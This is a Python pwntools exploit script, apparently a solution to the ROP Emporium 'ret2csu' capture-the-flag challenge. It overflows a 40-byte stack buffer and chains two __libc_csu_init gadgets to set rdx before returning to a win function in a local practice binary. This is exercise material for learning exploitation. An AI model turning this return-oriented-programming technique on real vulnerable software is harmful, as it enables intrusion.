import sys; sys.path.append("../..")
import shared_pwn
from pwn import *

BINARY_NAME = "ret2csu"
BUFFER_LEN = 40

junk = b"\x90" * BUFFER_LEN
junk_ptr = p64(0x00)

# Needs to be in the 3rd register rdx
value = p64(0xdeadcafebabebeef)

# Pointers
fini_addr = p64(0x0600e48)
ret2win   = p64(0x04007b1)

# Gadget # 1

gadget_1 = p64(0x040089a)
# 0x040089a <+90>:	pop    rbx
# 0x040089b <+91>:	pop    rbp
# 0x040089c <+92>:	pop    r12
# 0x040089e <+94>:	pop    r13
# 0x04008a0 <+96>:	pop    r14
# 0x04008a2 <+98>:	pop    r15
# 0x04008a4 <+100>:	ret  

gadget_2 = p64(0x0400880)
# 0x0400880 <+64>:	mov    rdx,r15
# 0x0400883 <+67>:	mov    rsi,r14
# 0x0400886 <+70>:	mov    edi,r13d
# 0x0400889 <+73>:	call   QWORD PTR [r12+rbx*8]
# 0x040088d <+77>:	add    rbx,0x1
# 0x0400891 <+81>:	cmp    rbp,rbx
# 0x0400894 <+84>:	jne    0x400880 <__libc_csu_init+64>
# 0x0400896 <+86>:	add    rsp,0x8
# 0x040089a <+90>:	pop    rbx
# 0x040089b <+91>:	pop    rbp
# 0x040089c <+92>:	pop    r12
# 0x040089e <+94>:	pop    r13
# 0x04008a0 <+96>:	pop    r14
# 0x04008a2 <+98>:	pop    r15
# 0x04008a4 <+100>:	ret  


# Payload creation
payload = b""
payload += junk
payload += gadget_1
payload += p64(0x00)    # rbx
payload += p64(0x01)    # rbp
payload += fini_addr    # r12
payload += junk_ptr     # r13
payload += junk_ptr     # r14
payload += value        # r15

payload += gadget_2
payload += junk_ptr     # "add rsp, 0x8" padding
payload += junk_ptr     # rbx
payload += junk_ptr     # rbp
payload += junk_ptr     # r12
payload += junk_ptr     # r13
payload += junk_ptr     # r14
payload += junk_ptr     # r15

payload += ret2win

io = process(f"./{BINARY_NAME}")
io.recvuntil("> ")
io.sendline(payload)

shared_pwn._recvall(io)
# sys.stdout.buffer.write(payload)